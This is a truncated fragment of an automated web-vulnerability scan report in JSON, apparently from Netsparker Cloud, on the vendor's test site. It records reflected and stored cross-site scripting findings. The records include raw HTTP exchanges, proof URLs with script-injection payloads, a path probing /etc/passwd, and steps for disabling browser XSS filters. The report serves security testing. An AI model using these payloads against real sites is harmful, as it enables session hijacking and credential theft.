text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 1120\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTg1Njc5NzI2OQ9kFgJmD2QWAgIDD2QWAgIFD2QWAgIDD2QWAgIBDxYCHglpbm5lcmh0bWwFhQUNCg0KPGxpIHN0eWxlPSJtYXJnaW4tbGVmdDowIj48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDEpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyUnVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvR2FicmllbFNoZWFyLmpwZyIgLz48L2E%2bPHNwYW4gY2xhc3M9InNwYW5kZXNjIiBpZD0ic3BhbjEiPjwvc3Bhbj48L2xpPjxsaSA%2bPGEgb25jbGljaz0ic29hcFJlcXVlc3RlcigyKTsiIHRpdGxlPSJJZiB5b3Ugd2FudCB0byBzZWUgZGV0YWlscywgY2xpY2sgdG8gaW1hZ2UuIiBocmVmPSIjc29hcFJlcXVlc3RlclJ1bm5lZCI%2bPGltZyBzcmM9Ii9zdGF0aWNzL1N0YW5sZXlKb2Jzb24uanBnIiAvPjwvYT48c3BhbiBjbGFzcz0ic3BhbmRlc2MiIGlkPSJzcGFuMiI%2bPC9zcGFuPjwvbGk%2bPGxpID48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDQpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyUnVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvQWdlbnRKLlQuUm9iZXJ0cy5qcGciIC8%2bPC9hPjxzcGFuIGNsYXNzPSJzcGFuZGVzYyIgaWQ9InNwYW40Ij48L3NwYW4%2bPC9saT5kGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRA89ysfk6sLMvad2MrxRyeQAusOIs%2bD7Rxfalg019c7g%3d%3d&__VIEWSTATEGENERATOR=E809BCA5","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTg1Njc5NzI2OQ9kFgJmD2QWAgIDD2QWAgIFD2QWAgIDD2QWAgIBDxYCHglpbm5lcmh0bWwFhQUNCg0KPGxpIHN0eWxlPSJtYXJnaW4tbGVmdDowIj48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDEpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyUnVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvR2FicmllbFNoZWFyLmpwZyIgLz48L2E+PHNwYW4gY2xhc3M9InNwYW5kZXNjIiBpZD0ic3BhbjEiPjwvc3Bhbj48L2xpPjxsaSA+PGEgb25jbGljaz0ic29hcFJlcXVlc3RlcigyKTsiIHRpdGxlPSJJZiB5b3Ugd2FudCB0byBzZWUgZGV0YWlscywgY2xpY2sgdG8gaW1hZ2UuIiBocmVmPSIjc29hcFJlcXVlc3RlclJ1bm5lZCI+PGltZyBzcmM9Ii9zdGF0aWNzL1N0YW5sZXlKb2Jzb24uanBnIiAvPjwvYT48c3BhbiBjbGFzcz0ic3BhbmRlc2MiIGlkPSJzcGFuMiI+PC9zcGFuPjwvbGk+PGxpID48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDQpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyUnVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvQWdlbnRKLlQuUm9iZXJ0cy5qcGciIC8+PC9hPjxzcGFuIGNsYXNzPSJzcGFuZGVzYyIgaWQ9InNwYW40Ij48L3NwYW4+PC9saT5kGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRA89ysfk6sLMvad2MrxRyeQAusOIs+D7Rxfalg019c7g==","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"E809BCA5","Vulnerable":false},{"Name":"hello","Type":"Querystring","Value":"'\"-->","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":1625.0021000000002,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 11603\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:08:52 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n\r\n

About

\r\n

\r\n Hello\r\n '\"-->\r\n

\r\n

\r\n Bitcoin is controlled by all Bitcoin users around the world. Developers are improving the software but they can't force a change in the rules of the Bitcoin protocol because all users are free to choose what software they use. In order to stay compatible with each other, all users need to use software complying with the same rules. Bitcoin can only work decently with a complete consensus between all users. Therefore, all users and developers have strong incentives to adopt and protect this consensus.\r\n\r\n\r\n

\r\nMission\r\n
    \r\n
  1. Inform users to protect them from common mistakes.
  2. \r\n
  3. Give an accurate description of Bitcoin properties, potential uses and limitations.
  4. \r\n
  5. Display transparent alerts and events regarding the Bitcoin network.
  6. \r\n
  7. Invite talented humans to help with Bitcoin development at many levels.
  8. \r\n
  9. Provide visibility to the large scale Bitcoin ecosystem.
  10. \r\n
  11. Improve Bitcoin worldwide accessibility with internationalization.
  12. \r\n
  13. Remain a neutral informative resource about Bitcoin.
  14. \r\n
\r\n\r\n \r\n\r\n
\r\n

Our Teams

\r\n
\r\n
    \r\n\r\n
\r\n
\r\n
\r\n
\r\n
\r\n
\r\n\r\n
\r\n\t\t\t

Follow us

\r\n\t\t\t
\r\n \r\n \"Twitter\" \r\n \r\n\t\t\t\t\r\n \"Facebook\" \r\n \r\n \r\n \"Linkedin\" \r\n \r\n \r\n \"Google \r\n \r\n \r\n \"RSS\" \r\n \r\n\t\t\t
\r\n\t\t
\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Proof URL","Value":"http://testsparker.com/About.aspx?hello='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004207)%3C/scRipt%3E"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected cross-site scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

","Impact":"
There are many different attacks that can be leveraged through the use of cross-site scripting, including:
  • Hijacking user's active session.
  • Mounting phishing attacks.
  • Intercepting data and performing man-in-the-middle attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":"

Generated XSS exploit might not work due to browser XSS filtering. Please follow the guidelines below in order to disable XSS filtering for different browsers. Also note that;

  • XSS filtering is a feature that's enabled by default in some of the modern browsers. It should only be disabled temporarily to test exploits and should be reverted back if the browser is actively used other than testing purposes.
  • Even though browsers have certain checks to prevent Cross-site scripting attacks in practice there are a variety of ways to bypass this mechanism therefore a web application should not rely on this kind of client-side browser checks.

Chrome

  • Open command prompt.
  • Go to folder where chrome.exe is located.
  • Run the command chrome.exe --args --disable-xss-auditor

Internet Explorer

  • Click Tools->Internet Options and then navigate to the Security Tab.
  • Click Custom level and scroll towards the bottom where you will find that Enable XSS filter is currently Enabled.
  • Set it to disabled. Click OK.
  • Click Yes to accept the warning followed by Apply.

Firefox

  • Go to about:config in the URL address bar.
  • In the search field, type urlbar.filter and find browser.urlbar.filter.javascript.
  • Set its value to false by double clicking the row.
"},{"Url":"http://testsparker.com/About.aspx?hello='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x001376)%3C/scRipt%3E","Type":"Xss","Name":"Cross-site Scripting","Severity":"Important","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /About.aspx?hello='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x001376)%3C/scRipt%3E HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"hello","Type":"Querystring","Value":"'\"-->","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":94.13000000000001,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 10110\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:47:42 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n\r\n

About

\r\n

\r\n Hello\r\n '\"-->\r\n

\r\n

\r\n Bitcoin is controlled by all Bitcoin users around the world. Developers are improving the software but they can't force a change in the rules of the Bitcoin protocol because all users are free to choose what software they use. In order to stay compatible with each other, all users need to use software complying with the same rules. Bitcoin can only work decently with a complete consensus between all users. Therefore, all users and developers have strong incentives to adopt and protect this consensus.\r\n\r\n\r\n

\r\nMission\r\n
    \r\n
  1. Inform users to protect them from common mistakes.
  2. \r\n
  3. Give an accurate description of Bitcoin properties, potential uses and limitations.
  4. \r\n
  5. Display transparent alerts and events regarding the Bitcoin network.
  6. \r\n
  7. Invite talented humans to help with Bitcoin development at many levels.
  8. \r\n
  9. Provide visibility to the large scale Bitcoin ecosystem.
  10. \r\n
  11. Improve Bitcoin worldwide accessibility with internationalization.
  12. \r\n
  13. Remain a neutral informative resource about Bitcoin.
  14. \r\n
\r\n\r\n \r\n\r\n
\r\n

Our Teams

\r\n
\r\n
    \r\n\r\n
\r\n
\r\n
\r\n
\r\n
\r\n
\r\n\r\n
\r\n\t\t\t

Follow us

\r\n\t\t\t
\r\n \r\n \"Twitter\" \r\n \r\n\t\t\t\t\r\n \"Facebook\" \r\n \r\n \r\n \"Linkedin\" \r\n \r\n \r\n \"Google \r\n \r\n \r\n \"RSS\" \r\n \r\n\t\t\t
\r\n\t\t
\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Proof URL","Value":"http://testsparker.com/About.aspx?hello='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001376)%3C/scRipt%3E"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected cross-site scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

","Impact":"
There are many different attacks that can be leveraged through the use of cross-site scripting, including:
  • Hijacking user's active session.
  • Mounting phishing attacks.
  • Intercepting data and performing man-in-the-middle attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":"

Generated XSS exploit might not work due to browser XSS filtering. Please follow the guidelines below in order to disable XSS filtering for different browsers. Also note that;

  • XSS filtering is a feature that's enabled by default in some of the modern browsers. It should only be disabled temporarily to test exploits and should be reverted back if the browser is actively used other than testing purposes.
  • Even though browsers have certain checks to prevent Cross-site scripting attacks in practice there are a variety of ways to bypass this mechanism therefore a web application should not rely on this kind of client-side browser checks.

Chrome

  • Open command prompt.
  • Go to folder where chrome.exe is located.
  • Run the command chrome.exe --args --disable-xss-auditor

Internet Explorer

  • Click Tools->Internet Options and then navigate to the Security Tab.
  • Click Custom level and scroll towards the bottom where you will find that Enable XSS filter is currently Enabled.
  • Set it to disabled. Click OK.
  • Click Yes to accept the warning followed by Apply.

Firefox

  • Go to about:config in the URL address bar.
  • In the search field, type urlbar.filter and find browser.urlbar.filter.javascript.
  • Set its value to false by double clicking the row.
"},{"Url":"http://testsparker.com/GuestbookList.aspx/etc/passwd","Type":"PermanentXss","Name":"Stored Cross-site Scripting","Severity":"Important","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /GuestbookList.aspx/etc/passwd HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"URI-BASED","Type":"FullUrl","Value":"/etc/passwd","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":1872.1532000000002,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 813355\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:09:38 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n\r\n\r\n
\r\n\r\n\r\n\r\n\r\n
\r\n\r\n\t\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

Last Comments

\r\n\r\n
\r\n\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\